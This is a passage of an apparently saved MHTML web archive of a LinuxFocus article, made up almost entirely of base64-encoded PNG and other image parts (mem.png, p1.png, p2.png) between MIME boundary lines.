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 Ypjr0+6Eyr7s/ERP4x7tt77u7N7u7v7ubhgQADs= ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/mem.png 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 ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/p1.png iVBORw0KGgoAAAANSUhEUgAAAb4AAAFACAIAAABMd47XAAAACXBIWXMAAAxNAAAMTQHSzq1OAAAA HXRFWHRTb2Z0d2FyZQBHTlUgR2hvc3RzY3JpcHQgNS41MOX7i5QAAA19SURBVHic7d1bcqMwGgZQ mOr1zNqylKxtNsQ8UE2pQcj8INsgnVP9kMYYC6J81oXLOE3TAEDEf75dAIDnEZ0AYaITIEx0AoSJ ToAw0QkQJjoBwkQnQJjoBAgTnQBhf75dgJrGcVwtmS8z3S7PrrbaVPkS1ew2tx+3bCS7kKcrVIPy OqE1p2lavZStV+lLR+r8y4Id2btCGdrWTnTOv7+DVaqw2t7C7atp/Vgl4+pTVmWgGdvf9TiOq+/d vfqwqmbbdbZft9nae7rOvyzYkb078gfVpGY77Kuvzb3MKmRZuRKs3nikiSo3e3Cw0TfkUjJUqV5+ 9Ik6/3KFl3t3fPefrrXozPaLy3UlVEFP1Am5SdnxHv3Lt7+jzh/R4XhUa9E5XP4tzv2R8pdndrPZ hXKzNwe/XI+PD55Oz3MOjla9tQyP0M5YZzrs/XKS5zPkZj/2pnEK6xzfZiFVq9T5lwUr7N0N/+4+ o53oHP4dZzkXW+nvfq4T12tDV/WJlwOFs1qjgdfrfKhghf7WxTI8ToMd9qW7PZwdmlzUKkkPo+ad i1a5I+FyPIAu1vmXH3pk4xXL8AgNRufs3Cjn8LcGpPWgSkl6qEyde+sg4wcKUGXjPbQ3Z+1EZ5Vs yp4dst1y9LOkZyeiv+iL3dv31aiDV3y8tQw31050Dv/+Ft/0G93rkhzs4FcZB+DOjqfndhD89Klv p9++t83ydH8hPfup3u3MYBw526MwUXjkGqHCZw07qboXtc0c9s6Vf9cHTyDPbq2w2WV5rTq/96Hn 9q6Tut1OdAJ8TFMddoDPEJ0AYaITIOwZVxP1dkFOh/v77SLAWvlv8FB0bmefX15dG9XP9Vtk+dVz Ky+/zgMd9m3lVt2BPn16rFPXDGhAnbHO7Fmyez/rmwNPF4jOvQbjMqeRBmjhZ6EJPF0gOo9coQjQ gzpjnUYwga5UiE59cKA3V6NTexPoUCA6s3f8XSaIltnz9BlP6fL0XQIXeLRD00Tlk+GPP1m3sBzg Qdz+AyBMdAKEiU6AMNEJECY6AcJEJ0CY6AQIE50AYaITIEx0AoSJToAw0QkQJjoBwkQnQFidJ2JC M7I3k02fTrh9ae+Nzd9ice9YZV9dPfxxu/6ziE7IWD3EcL6r9+o52MttvLe3r82+1Kq9Y7X3IMih iaOkww4vTNMUup93+aW27R2rvZXfWpi3Ep3AW6SP0nl0SmbpsENGtoO5fWkvEVZd+7Zlj9UyvlHo jz/6KIlOyChP/qTPLlz95Tfcztrzcl5oG5ENHCXRCSXlUc5lVqS8fif2jtW2+dnAUTLWCVS2emB4 A0G5JTrhtb2TOtl66MlGUTrskFHIysIM0vDwqY9z9o7Vy6m2Rx8l0Qn/OH225qOD4JwTx6qZo6TD DhAmOgHCRCdA2GPGOk1xktVhxTg9XOhYVfSY6GxmdPmIDqv4FerGcY5VLTrsAGGiEyBMdAKEiU6A sKvTROPv7/Lz9POzWrgs4Q62z4coTxo0cLVcXWp76vrRGH9/n3vQrrY6p5+fvZ1/7kFp0hyU8x3A Vje22SM0V9T2VHaX54U9HI06Hfb5SGW/hXiH6FkXe/fxrlmmbqjti21j89ENyZDK53XOR7CTY/dJ 189Q23uUa/ZTys+TSB8POXQcwWr7MAzTz0+am6e3k/b0V73+e8ZxtWmiZd9uuJNPNP7r5QrllVPp g17T9Zce/ZBrpa6WF1bugdq+dfGLJH3jI3r99WfYr3zzsCg/lHUqyq6fPiB7Xrga/Rw2N/de3rv6 YW9hh9T24W1fJPOxve0RrtZhX75zxt/fezawn2jvkWEnbsS9Cr5sU7HzHDxObX9pL/IKx2rpqq/e e8/DW3Os85572JLr0dbYo7W+SG0vO318Vl9LVQtVU50Oe/rFu51/5M6yo5Z7o6t7b39rCe9GbX+f beDe9iuqQnSu6k2V6TbeYRVz2wfhZhems0+rh+h2OEGkthecaCdm3/KIaaK7NBnKF6701rS5+f5W L96VDd78WFXnWB331mPlGnaAMNEJECY6iVnOAP12QeCbHvOADX+rN3HDwTJ14zjHqpbHROcN/2Lf R/0+rquKcZFjVZEOO0CY6AQIE50AYaITIEx0AoSJToAw0QkQJjoBwkQnQJjoBAgTnQBhohMgTHQC hIlOgDDRCRAmOgHCRCdAmOgECBOdAGGiEyBMdAKEiU6AMNEJECY6AcJEJ0CY6AQIE50AYaITIEx0 AoSJToAw0QkQJjoBwkQnQJjoBAgTnQBhohMgTHQChIlOgLA/3y4ADMMwjOP47SJAgOjk+6Zp+nYR IEaHHSBMdAKEiU6AMNEJECY6AcJEJ0CY6AQIE50AYaITIEx0AoSJToAw0QkQJjoBwkQnQJjoBAgT nQBhohMgTHQChIlOgDDRCRAmOgHCRCdAmOgECBOdAGF/Lr5//P1dfp5+flYLlyUALbna6syG47xQ bgKtqtBh3zY2x99fuQk0rM5YZxqUaRceoEmVp4nm3NTkBNpWLTqXuJSbQPOcnAQQJjoBwkQnQFj9 6Bx/f02yA20bp2n6dhmGYRjGcRyGYa8w43iXcn5Gb/sLj6PDDhAmOgHCRCdA2NU7J33MPBgKcAeP ic6upk18T8DN6bADhIlOgDDRCRAmOgHCHjNN9DENP21pdcmWa5bgNNG5Nodj9jL8p+fmHJSm7+E6 Hfa8bYDeKjej8bdaf85QTU44TavzhZs8MuR6U/FIk3N5NU3VbDc/uyb04y6jXfe8c9K3cvNiUG6P Vdpbn4MvTdL0pcLC7KvZj4Pm6bC/9pXbj07TVIikqSi7/jiOqwbj/N/lpXnJNrW3+bj8LDTplujc lTY5v3Xz5r1MPNEsTbeQBujexy1Lzn0ctM1YZ8nXhzhXrrfy0qGPg1tLW6wXPx2aodWZN/7+rh6P 3OpTQ5Zu+5C0LrMz8nvvfXcJ4YZEZ8YqJZf/Pj09V0mXbUuuFo5/bd+oF0/P7tJquOcM+7fceX/v XDb4GK1OgDDRCRAmOglYTv/8dkHgyx5zcpI/1zswygmzx0RnV3+0vifg5nTYAcJEJ0CY6AQIE50A YaITIEx0AoSJToCwx5zXCTc0/ubuGP0zHXm1vKnVaumre1s4sp291Vbr733csny7WnY7DbvLXXDc OSnV2/4+2hwfqyhZpefef9ONZLNyG1svc/PldgobP1HUve03H5067FDN9DOVm2PZVwttt5CD28mG Xd2kaz43B9EJ31XOu+OpenA7PXex6xKd8Dnl1mh5yREHt7O38SrpubeP4+84/7v+EXdgmghqKowt Lm7YvtuOdZ57e8H0M7U0Bio6oYKDM+DNBMdKdsapvNrT6bBDBfME0TJNtH11/uG23dWKodZSPhaI TviEWwXKbRP8QUQnfEj2zKS9k5mOnMW5XfPldj6W4M2ns+iEz3l5Ec525bIjEy/ZFV6WYe8U1Cul ailP73LViquJUr3t73OVZ4eyr+7NZR+/EHPl3Gz+wYtEa5Vq2N/xh7rLn6joTPW2v/A4OuwAYaIT IEx0AoSJToAw0QkQJjoBwkQnQJjoBAhz0zm4o+PXsNfdSGPX/LyPVifcTpVrvY88VIPTRCfcTq0W 3979Qz/w0c0TnZDxv/HTLTVtw2cx1gl5q/T87+aGLAefGLy9e9veTeMLj0dfvfGg9O3ZJ8IXNp5d 4fhj6Zp3lzv0uHNSqrf9/aLTrcs5Sct3XdtLqxPPal+9etBe8p776KGYntGyPZ1WJ13btiUXe6m6 fcvBu1iWcye7qYOPS8u6OAJQ63airTLWCRlpbv53mtJ/tT7irW20+T7t2YArxFyHCXiaVidkhCIy fZ7E8fTJjmzWelJ5upFV2bYjCXvFK+zUuV1uieiECgr92XKyvHx1Nf54Ilv3PuLlRFCok97VQOeg ww7X7Q1Qhp4LlL6lkF9XynbluZiFQdhzG3y6u8zkmmFP9ba/z1Xlcsln6XCXs7Q6AcLu0rrR6kz1 tr8P1eFgX4e7vEerEyDsLq0brc5Ub/sLj6PVCRAmOgHCRCdAmOgECBOdAGGiEyBMdAKEiU6AMNEJ ECY6AcJEJ0CY6AQIE50AYaITIEx0AoSJToAw0QkQJjoBwkQnQJjoBAgTnQBhohMgTHQChIlOgDDR CRAmOgHCRCdAmOgECBOdAGGiEyBMdAKEiU6AMNEJECY6AcJEJ0CY6AQIE50AYaITIEx0AoSJToAw 0QkQJjoBwkQnQJjoBAgTnQBhohMgTHQChIlOgDDRCRAmOgHCRCdAmOgECBOdAGGiEyBMdAKEiU6A sC9H5ziOL5cA3M33W51pVspN4BG+H52DxASe5hbRCfAsohMg7MvROU3TyyUAd6PVCRAmOgHCRCdA 2J/oG/ZOJDJGCfQj3OpcInL6a/7v6XMz08yVv8AjVOiwyzugN+EO+xFLC3TVJhWyQBvOR2faQ08z cRzH+b/LCukS6Qk04HyHfRWX2eWrFeQm0IZLY53pTFHhBkjbFbbbuVIMgA+rf15ntlf+Mj0HAQo8 R+Xo1LQEelBnmmj4m4zTNI3jmE4QbdfJEqzAg5jyBghzDTtAmOgECBOdAGGiEyBMdAKEiU6AMNEJ ECY6AcJEJ0CY6AQIE50AYf8HIBYGkbvWQlEAAAAASUVORK5CYII= ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/article183/p2.png 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 